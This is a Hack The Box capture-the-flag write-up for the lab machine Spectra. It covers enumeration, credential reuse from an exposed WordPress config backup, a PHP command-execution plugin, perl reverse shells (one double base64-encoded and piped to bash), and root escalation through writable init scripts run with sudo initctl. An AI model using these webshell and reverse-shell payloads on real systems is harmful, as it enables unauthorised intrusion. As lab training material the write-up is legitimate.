HTB: Spectra Writeup
There are spoilers below for the Hack The Box box named Cap. Stop reading here if you do not want spoilers!!!
Enumeration
I began this box with a standard nmap
scan:
$ nmap -sC -sV -oA nmap/spectra 10.10.10.229
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 13:01 EDT
Nmap scan report for 10.10.10.229
Host is up (0.077s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
80/tcp open http nginx 1.17.4
3306/tcp open mysql MySQL (unauthorized)
8081/tcp open blackice-icecap?
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.10 seconds
Foothold
From the nmap
enumeration, there were a few interesting ports, but checking out port 80
to begin with, that lead to a simple homepage which listed two linkes, one went to a Wordpress website and the second went to what appears to be a copy of it that allows directory listing. There was one interesting file in the directory, which was a copy of the wp-config.php
file with a different extension, wp-config.php.save
. Looking at that file, we have some potential MySQL credentials:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
Credentials noted for future reference, if needed. Attempting to log into the MySQL DB just results in a failure that my IP is unauthorized.
Visiting the Wordpress site at /main
reveals a working Wordpress installation with one post from an administrator
. Visiting wp-admin.php
prompts for a login, which successfully works using the database password from earlier
Username: administrator
Password: devteam01
The Admin panel doesn’t appear to be able to modify theme files, so I resorted to uploading a malicious plugin. See here for details on obtaining a reverse shell through WordPress. I crafted a WordPress plugin to allow command execution:
$ cat rshell.php
<?php
/**
* Plugin Name: Wordpress Reverse Shell
* Author: Me
*/
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
$ zip rshell.zip rshell.php
updating: rshell.php (deflated 30%)
In WordPress admin, I selected Plugins -> Add New -> Browse -> Upload -> Activate. This allowed me to upload and activate this malicious WordPress plugin to obtain a backdoor. The backdoor is then uploaded at http://10.10.10.229/main/wp-content/plugins/rshell/rshell.php
.
With the backdoor uploaded, I can play with different command execution and determine information about the machine. I had issues using a standard bash
reverse shell, so I resorted to using a perl
reverse shell:
perl -e 'use Socket;$i="10.10.14.204";$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
However, some of the values in that string (specifically the &
character) will cause issues in a URL, so I base64 encoded the payload:
cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuMjA0IjskcD05MDAwO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9OycK
However, that payload contains a +
character, which I suspect will also cause issues as it may get treated as a space. So I base64 encoded it again:
Y0dWeWJDQXRaU0FuZFhObElGTnZZMnRsZERza2FUMGlNVEF1TVRBdU1UUXVNakEwSWpza2NEMDVNREF3TzNOdlkydGxkQ2hUTEZCR1gwbE9SVlFzVTA5RFMxOVRWRkpGUVUwc1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLVHRwWmloamIyNXVaV04wS0ZNc2MyOWphMkZrWkhKZmFXNG9KSEFzYVc1bGRGOWhkRzl1S0NScEtTa3BLWHR2Y0dWdUtGTlVSRWxPTENJK0psTWlLVHR2Y0dWdUtGTlVSRTlWVkN3aVBpWlRJaWs3YjNCbGJpaFRWRVJGVWxJc0lqNG1VeUlwTzJWNFpXTW9JaTlpYVc0dmMyZ2dMV2tpS1R0OU95Y0s=
That looks better! So to execute this, we must base64 decode it twice and send that to bash.
Y0dWeWJDQXRaU0FuZFhObElGTnZZMnRsZERza2FUMGlNVEF1TVRBdU1UUXVNakEwSWpza2NEMDVNREF3TzNOdlkydGxkQ2hUTEZCR1gwbE9SVlFzVTA5RFMxOVRWRkpGUVUwc1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLVHRwWmloamIyNXVaV04wS0ZNc2MyOWphMkZrWkhKZmFXNG9KSEFzYVc1bGRGOWhkRzl1S0NScEtTa3BLWHR2Y0dWdUtGTlVSRWxPTENJK0psTWlLVHR2Y0dWdUtGTlVSRTlWVkN3aVBpWlRJaWs3YjNCbGJpaFRWRVJGVWxJc0lqNG1VeUlwTzJWNFpXTW9JaTlpYVc0dmMyZ2dMV2tpS1R0OU95Y0s= | base64 -d | base64 -d | bash
Crafting this into a payload to our PHP backdoor we get:
http://10.10.10.229/main/wp-content/plugins/rshell/rshell.php?cmd=echo%20Y0dWeWJDQXRaU0FuZFhObElGTnZZMnRsZERza2FUMGlNVEF1TVRBdU1UUXVNakEwSWpza2NEMDVNREF3TzNOdlkydGxkQ2hUTEZCR1gwbE9SVlFzVTA5RFMxOVRWRkpGUVUwc1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLVHRwWmloamIyNXVaV04wS0ZNc2MyOWphMkZrWkhKZmFXNG9KSEFzYVc1bGRGOWhkRzl1S0NScEtTa3BLWHR2Y0dWdUtGTlVSRWxPTENJK0psTWlLVHR2Y0dWdUtGTlVSRTlWVkN3aVBpWlRJaWs3YjNCbGJpaFRWRVJGVWxJc0lqNG1VeUlwTzJWNFpXTW9JaTlpYVc0dmMyZ2dMV2tpS1R0OU95Y0s=%20|%20base64%20-d%20|%20base64%20-d%20|%20bash
And catching it with a netcat listener:
$ nc -lnvp 9000
Which receives a successful callback!
Privesc
Now that we’re logged in as the nginx
user, we can begin enumeration. Running linpeas, it highlighted a few things including:
-rw-r--r-- 1 root root 19 Feb 3 16:43 /etc/autologin/passwd
SummerHereWeCome!!
That’s interesting! Trying that as the root
user didn’t work, but trying that as the katie
user worked! We have a user SSH shell!
Username: katie
Password: SummerHereWeCome!!
Checking what katie
can do, it looks like we have sudo permission to run a program:
$ sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
The /sbin/initctl
program appears to be for starting and stopping services which are located in the /etc/init
directory. Looking in that directory there are a few interesting services:
$ ls -larth
total 768K
-rw-rw---- 1 root developers 478 Jun 29 2020 test9.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test8.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test7.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test6.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test5.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test4.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test3.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test2.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test10.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test1.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test.conf
...{snip}...
Interesting, the group developers
has read/write access to these files, are we in that group?
$ groups
katie developers
Great! We can update these files! I then updated the test1
file to add a reverse shell to it:
$ cat test1.conf
...{snip}...
pre-start script
perl -e 'use Socket;$i="10.10.14.204";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script
...{snip}...
Starting this with the command:
$ sudo /sbin/initctl start test1
And catching the reverse shell:
$ nc -lnvp 9001
We successfully become root!